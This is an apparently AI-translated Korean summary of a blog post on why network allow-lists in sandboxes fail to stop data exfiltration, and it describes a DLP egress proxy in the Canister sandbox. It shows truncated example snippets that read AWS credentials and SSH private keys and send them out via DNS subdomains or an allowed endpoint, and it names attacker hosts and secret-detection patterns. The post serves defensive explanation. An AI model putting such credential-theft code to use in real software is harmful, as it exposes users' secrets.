본문으로 건너뛰기

© 2026 Molayo

Lobste.rs헤드라인2026. 05. 24. 17:32

네트워크 허용 목록(Allow-List)만으로는 데이터 유출을 막을 수 없다

요약

네트워크 도메인 허용 목록(Allow-list) 방식의 샌드박스가 가진 보안 사각지대를 경고합니다. 승인된 도메인이나 DNS 채널을 통해 민감한 데이터가 유출될 수 있는 공급망 공격의 위험성을 설명합니다.

핵심 포인트

  • 도메인 허용 목록은 승인된 채널을 통한 데이터 유출을 막지 못함
  • DNS 서브도메인 조회나 허용된 엔드포인트를 이용한 데이터 탈취 가능성
  • 최근 npm 패키지를 대상으로 한 공급망 공격 사례 증가
  • 단순 네트워크 격리를 넘어선 심층적인 보안 전략 필요

신뢰할 수 없는 코드—AI가 생성한 스크립트, 의존성(dependency)의 postinstall 훅, 방금 클론한 리포지토리(repo)의 빌드 단계 등—를 샌드박스(sandbox) 내부에서 실행한다고 가정해 봅시다. 당신은 이를 엄격히 통제합니다. 작업 디렉토리 외부의 파일 시스템 접근 금지, 정당하게 필요한 단 하나의 도메인을 제외한 네트워크 차단, 위험한 시스템 호출(syscall) 금지 등입니다. 이는 많은 악성 동작을 차단할 수 있습니다.

하지만 여기에는 사각지대가 있으며, 그 규모는 매우 큽니다.

저는 가볍고 권한이 낮은 Linux 샌드박스인 Canister를 구축하면서 이 문제를 접했습니다. Canister는 사용자 네임스페이스(user namespaces), seccomp, 네트워크 격리(network isolation)를 결합하여 루트(root) 권한이나 컨테이너 런타임(container runtime) 없이 최소한의 권한으로 신뢰할 수 없는 명령을 실행합니다. 하지만 아래에 설명할 사각지대는 Canister에만 국한된 것이 아닙니다. 네트워크 정책이 도메인 허용 목록(domain allow-list) 방식인 모든 샌드박스에 적용되며, 실제로 대부분의 샌드박스가 그러합니다.

네트워크 허용 목록이 해결하지 못하는 문제

registry.npmjs.org에 접속해야 하는 프로젝트를 위해 npm install을 실행한다고 가정해 봅시다. 당신은 해당 도메인을 허용 목록에 추가합니다. 설치가 진행됩니다. 모든 것이 정상적으로 작동합니다.

하지만 방금 설치한 의존성에 다음과 같은 내용이 포함되어 있다면 어떨까요:

const dns = require('dns');
const secrets = require('fs').readFileSync(process.env.HOME + '/.aws/credentials', 'utf8');
const encoded = Buffer.from(secrets).toString('base64');
...

당신의 네트워크 정책은 DNS를 허용합니다. 이 스크립트는 DNS 서브도메인 조회(subdomain lookups)를 통해 당신의 AWS 자격 증명(credentials)을 유출합니다. 승인되지 않은 연결도 없고, 차단된 도메인도 없습니다. 데이터는 당신이 명시적으로 허용한 채널을 통해 빠져나갑니다.

또는 허용된 분석 엔드포인트(analytics endpoint)로 로그를 전송하는 빌드 스크립트를 생각해 봅시다:

import requests, base64, os
token = open(os.path.expanduser("~/.ssh/id_ed25519")).read()
requests.post("https://allowed-analytics.example.com/log",
...

Base64로 인코딩된 당신의 SSH 개인 키(private key)가 정책상 허용된 엔드포인트로 흘러 들어갑니다. 샌드박스는 제 역할을 다했습니다. 네트워크 필터도 제 역할을 다했습니다. 하지만 비밀 정보는 여전히 유출되었습니다.

이것이 바로 네트워크 수준의 정책이 메울 수 없는 간극입니다. 위협은 단순히 승인되지 않은 연결에만 있는 것이 아닙니다. 승인된 연결을 통해 데이터가 흘러나가는 것이 진짜 위협입니다.

최근 공급망(Supply Chain) 맥락

이는 이론적인 문제가 아닙니다. 2025년 11월, Shai-Hulud 웜이 두 번째 파동(Sha1-Hulud)으로 npm 레지스트리를 공격하여 Zapier, ENS Domains, PostHog 등의 수백 개 패키지를 침해했습니다. 이 악성코드는 설치 전 단계(preinstall phase)에서 실행되어 자격 증명 스캐너(credential scanners)를 설치하고, GitHub 토큰, npm 토큰, AWS 키, SSH 키를 공격자가 제어하는 저장소로 유출(exfiltrate)했습니다.

비슷한 시기에 LiteLLM 프로젝트는 Python 생태계에서 SQL 인젝션(SQL injection), 인증 우회(authentication bypasses), 그리고 자격 증명 탈취를 위해 연쇄적으로 악용될 수 있는 서버 측 템플릿 인젝션(server-side template injection)을 포함한 여러 개의 심각한 취약점을 공개했습니다.

이것들은 일회성 사건이 아니었습니다. 이는 패키지 레지스트리가 자격 증명 수집 인프라로 활용되는 일련의 패턴 중 일부였습니다. 허용 목록(Allow-lists)은 승인되지 않은 도메인을 차단할 수는 있습니다. 하지만 정당한 API 호출과 HTTP 헤더에 인코딩된 비밀 정보(encoded secrets) 사이의 차이점은 구분할 수 없습니다.

이것이 바로 데이터 유출 방지(Data Loss Prevention, DLP) 기능이 탑재된 L7 이그레스 프록시(L7 egress proxy)가 해결하도록 설계된 문제입니다.

작동 원리

샌드박스(sandbox)에서 나가는 모든 아웃바운드 TCP 연결은 호스트에서 실행되는 로컬 HTTPS 프록시를 거칩니다. 샌드박스는 직접 연결을 할 수 없습니다. 부모 프로세스가 샌드박스가 수행하는 시스템 호출(syscalls)을 검사할 수 있게 해주는 커널 기능인 SECCOMP_USER_NOTIF를 사용하는 seccomp 감독관(supervisor)이 connect()를 가로채고, 프로세스가 프록시인 127.0.0.1:8080에 연결하는 것이 아니라면 EPERM을 반환합니다.

프록시는 다음을 처리합니다:

TLS 종료(TLS termination). 프록시는 중간자(MITM) 역할을 수행합니다. 클라이언트의 TLS 세션을 종료하고, 평문(plaintext) HTTP 요청과 응답을 검사한 다음, 업스트림(upstream)으로 연결을 다시 암호화합니다.

정책 적용(Policy enforcement). 무언가를 전달하기 전에, 프록시는 대상이 허용 목록(allow-list)에 있는지 확인합니다. 차단된 도메인은 403을 반환하며, 어떤 패킷도 호스트를 떠나지 않습니다.

DNS 엔트로피 검사(DNS entropy checks). 엔트로피가 높은 서브도메인은 경고를 발생시키거나 차단합니다. 예를 들어 aws-akiaiosfodnn7example.attacker.com으로의 요청은...

서브도메인이 base64로 인코딩된 데이터처럼 보이기 때문에 플래그(flagged)가 지정됩니다. DLP(Data Loss Prevention) 계층은 해당 길이의 최대값에 대해 라벨당 엔트로피(entropy)를 정규화하고, 청크 단위의 유출(chunked exfiltration) 패턴을 탐지합니다.

헤더 및 URI 스캐닝 (Header and URI scanning).
모든 요청 헤더가 스캔됩니다. 확인할 헤더 이름의 허용 목록(allowlist)은 존재하지 않습니다. URI는 내장된 토큰(embedded tokens) 여부를 확인합니다.

바디 스캐닝 (Body scanning).
요청 및 응답 바디는 버퍼링되며(크기 제한 적용 – 임계값을 초과하는 요청은 413 오류 발생), 여러 계층(base64, hex, percent-encoding, JSON escapes, HTML entities)을 통해 디코딩되고, 압축 해제(gzip, deflate, brotli, zstd)된 후 시크릿(secrets)을 스캔합니다.

응답 스캐닝 (Response scanning).
자격 증명(credentials)을 유출하는 API 응답은 샌드박스 프로세스(sandboxed process)에 도달하기 전에 차단됩니다. 서비스가 오류 메시지에서 실수로 토큰을 다시 에코(echo)하는 경우, 해당 요청은 차단됩니다.

파이프라인은 다음과 같습니다: 정책 확인(policy check) → DNS 엔트로피 확인(DNS entropy check) → 헤더 스캔(header scan) → 바디 스캔(body scan) → 업스트림 전달(forward upstream) → 응답 스캔(response scan) → 클라이언트에 반환(return to client). 단일한 집행 결정 지점(enforcement decision point)입니다. 만약 시크릿이 탐지되고 --strict 모드로 실행 중이라면, 요청은 차단되고 로그가 기록됩니다. --monitor 모드에서는 요청이 허용되지만 경고가 로그에 기록되고 X-Canister-DLP-Warning 헤더가 추가됩니다.

탐지 대상

DLP 계층에는 다음 항목에 대한 탐지기(detectors)가 포함되어 있습니다:

클라우드 제공업체 키 (Cloud provider keys): AWS 액세스 키(access keys), GCP 서비스 계정 키(service account keys), Azure 연결 문자열(connection strings)
버전 관리 토큰 (Version control tokens): GitHub 개인 액세스 토큰(personal access tokens), GitLab 토큰
패키지 레지스트리 자격 증명 (Package registry credentials): npm 토큰, PyPI 토큰
API 키 (API keys): OpenAI, Anthropic, Google API 키, Stripe 키, Slack 토큰
데이터베이스 자격 증명 (Database credentials): Postgres 연결 URI (사용자 이름, 비밀번호, 호스트를 파싱하여 확인)
암호화 키 (Cryptographic keys): SSH 개인 키 (RSA, Ed25519, ECDSA), PKCS#8 개인 키
고엔트로피 토큰 (High-entropy tokens): 일반적인 베어러 토큰(bearer tokens), JWT, 시크릿처럼 보이는 모든 고엔트로피 문자열
커스텀 카나리 토큰 (Custom canary tokens): 샌드박스 시작 시 알려진 가짜 시크릿을 주입하여, 해당 시크릿이 차단되는지 확인

각 탐지기(Detector)는 홈 도메인 범위(Home domain scope)를 가집니다. GitHub PAT는 github.com 또는 api.github.com으로는 흐를 수 있지만, evil.example.com으로는 흐를 수 없습니다. npm 토큰은 registry.npmjs.org에는 도달할 수 있지만, 임의의 엔드포인트(Endpoint)로는 도달할 수 없습니다. extra_scopes를 사용하여 레시피(Recipe)별로 범위를 확장할 수 있습니다.

탐지기 목록은 단일 진실 공급원(Single source-of-truth) 레지스트리로부터 구축됩니다. 새로운 패턴을 추가하는 것은 "네 개의 병렬 리스트를 업데이트하고 그것들이 동기화되기를 바라는 것"이 아니라 "레지스트리에 항목 하나를 추가하는 것"입니다.

회피 저항성 (Evasion resistance)

공격자들은 패턴 매칭(Pattern matching)을 피하기 위해 시크릿(Secrets)을 인코딩합니다. DLP 계층은 인코딩 체인(Encoding chain)을 역순으로 추적하여 이를 처리합니다.

인코딩 체인 (Encoding chains): 스캐너는 base64, 16진수(Hexadecimal), 퍼센트 인코딩(Percent-encoding)을 최대 32단계 깊이까지 재귀적으로 디코딩합니다. %7B%22token%22%3A%22NjhkMzZhYjY4ZDM2YWI2OGQzNmFiNjhkMzZhYg%3D%3D%22%7D (base64를 포함한 퍼센트 인코딩된 JSON)와 같은 요청 본문(Request body)은 {"token":"68d36ab68d36ab68d36ab68d36ab"}로 디코딩되어 스캔됩니다. JSON \uXXXX 이스케이프(서로게이트 쌍(Surrogate pairs) 포함) 및 HTML 엔티티(HTML entities)도 디코딩됩니다.

압축 해제 (Decompression): Content-Encoding 헤더가 gzip이라고 명시되어 있으면, 스캔 전에 본문을 압축 해제합니다. 스캐너는 gzip, deflate, brotli, zstd를 지원합니다. 또한 매직 바이트(Magic bytes)를 탐지합니다. 만약 헤더는 text/plain이라고 되어 있지만 본문이 1f 8b로 시작한다면, 이는 gzip으로 간주되어 압축 해제됩니다. 이러한 불일치는 DLP 회피 경고를 트리거합니다.

DNS 엔트로피 (DNS entropy): 서브도메인은 레이블(Labels)로 분할되며, 레이블별 샤논 엔트로피(Shannon entropy)가 계산되어 해당 레이블 길이의 이론적 최대치에 대해 정규화됩니다. 높은 엔트로피를 가진 레이블은 base64로 인코딩된 데이터처럼 보입니다. DNS 엔트로피 예산(DNS entropy budget)은 샌드박스 세션당 누적된 고엔트로피 바이트를 추적하여, 한 번에 한 바이트씩 천천히 이루어지는 유출(Exfiltration)을 포착합니다. 단일 고엔트로피 DNS 쿼리는 정상적일 수 있지만, 수천 개가 발생하는 것은 그렇지 않습니다.

스트리밍 스캐너 (Streaming scanner): HTTP 청크 전송 인코딩 (chunked transfer encoding)은 비밀 정보를 여러 청크 경계에 걸쳐 분할할 수 있습니다. 이 스캐너는 256바이트 중첩 윈도우 (overlap window)를 사용합니다. 청크 N을 처리할 때, 청크 N-1의 마지막 256바이트와 청크 N의 첫 256바이트를 결합하여 다시 스캔합니다. 이를 통해 청크에 걸쳐 있는 비밀 정보도 여전히 포착됩니다.

파편 인식 디코딩 (Fragment-aware decoding): 더 큰 구조(JSON 객체, XML 문서, 멀티파트 폼 데이터 (multipart form data)) 내부에 삽입된 비밀 정보는 추출되어 스캔됩니다. {"user": "alice", "token": "ghp_AKIAIOSFODNN7EXAMPLE", "timestamp": 123}와 같은 POST 바디는 스캐너가 JSON을 분해하여 각 값을 스캔하기 때문에 탐지를 회피할 수 없습니다.

비식별화 (Redaction): 매칭된 비밀 정보는 로그나 구조화된 이벤트에 절대 나타나지 않습니다. DLP 계층은 이를 first4•••••sha256[..8] (len=N) 형식으로 비식별화합니다. 차단된 GitHub PAT는 로그에 ghp_•••••a3f2b7c9 (len=40)로 표시됩니다. 실제 토큰은 디스크에 절대 저장되지 않습니다.

이것이 제공하는 것과 제공하지 않는 것

DLP는 제1방어선이 아닌 제2방어선입니다. 이는 코드 리뷰나 종속성 검토를 대체하지 않으며, 거부된 시스템 호출 (syscall)과 같은 엄격한 경계도 아닙니다. 이는 디코딩된 바이트 스트림 (byte stream)에 대한 패턴 매칭 (pattern matching)이며, 패턴 매칭에는 한계가 있습니다. 특정 구현체가 해제하지 못하는 인코딩이 존재할 것이며, 고엔트로피 (high-entropy) 탐지는 임계값 (threshold)을 어디로 설정하든 오탐 (false positives)과 미탐 (false negatives) 사이의 절충이 필요합니다.

이 기술이 제공하는 것은 네트워크 수준의 정책이 구조적으로 메울 수 없는 간극, 즉 사용자가 승인한 연결을 통해 나가는 데이터를 커버한다는 점입니다. 허용 목록 (allow-list)은 연결이 어디로 가는지를 판단합니다. DLP 프록시 (proxy)는 연결 내부에 무엇이 있는지를 판단합니다. 이 둘은 서로 다른 질문이며, 첫 번째 질문에만 답하는 샌드박스 (sandbox)는 더 중요한 질문을 해결하지 못한 채 남겨두게 됩니다.

구현 방식과 상관없이 참고할 만한 설계 포인트는 다음과 같습니다:

스캔하기 전에 디코딩하고, 재귀적으로 디코딩하십시오 (Decode before you scan, and decode recursively). 공격자들은 스캔 도구가 언래핑(unwrapping)을 멈출 때까지 인코딩을 중첩시킵니다. 스캐너는 한 단계 더 깊이 계속 진행해야 합니다. 청크(chunk)와 패킷(packet) 경계에 걸쳐 중첩 윈도우(overlap window)를 유지하십시오. 그렇지 않으면 두 번의 읽기 작업에 걸쳐 분할된 비밀 정보를 놓치게 됩니다. DNS를 단순한 이름 확인(name resolution) 용도가 아닌 데이터 유출 채널(exfiltration channel)로 취급하십시오. 세션당 누적된 고엔트로피(high-entropy) 바이트의 예산을 책정하십시오. 이상한 서브도메인 하나는 노이즈(noise)일 수 있지만, 수천 개는 페이로드(payload)입니다. 단일 레지스트리(registry)로부터 탐지기를 구동하십시오. 그래야 패턴을 추가할 때 네 개의 병렬 리스트가 동기화되지 않은 채 따로 노는 것이 아니라, 단 하나의 항목만 추가하면 됩니다. 매칭된 항목은 로그에 기록되는 모든 곳에서 비식별화(Redact)하십시오. 방금 포착한 비밀 정보를 로그에 그대로 기록하는 DLP(Data Loss Prevention) 계층은 유출 위치를 옮겼을 뿐입니다.

솔직하게 주의 사항을 말씀드리자면, 이 코드는 최근에 작성되었으며 여전히 진화 중입니다. 탐지기 레지스트리(detector registry), 인코딩 체인(encoding chain), 엔트로피 임계값(entropy thresholds)은 모두 새로운 회피 기법(evasion tricks)이 나타남에 따라 제가 적극적으로 확장하고 있는 부분들입니다. 현재의 세트가 완벽하다거나 제가 모든 채널을 찾아냈다고 주장하지는 않겠습니다. 이를 완성된 보증이 아니라, 제가 여전히 강화(hardening)하고 있는 유망한 방향으로 간주해 주십시오.

구현체는 Canister (Rust, Apache-2.0)이며, DLP 아키텍처는 docs/DLP.md에 기술되어 있습니다. 제가 생각하는 취약점이 어디인지, 그리고 어떤 종류의 피드백(특히 비밀 정보를 통과시키려는 시도들)이 가장 도움이 될지에 대해 알고 싶으시다면, 별도의 노트에 정리해 두었습니다.

AI 자동 생성 콘텐츠

본 콘텐츠는 Lobste.rs AI의 원문을 AI가 자동으로 요약·번역·분석한 것입니다. 원 저작권은 원저작자에게 있으며, 정확한 내용은 반드시 원문을 확인해 주세요.

원문 바로가기
0

댓글

0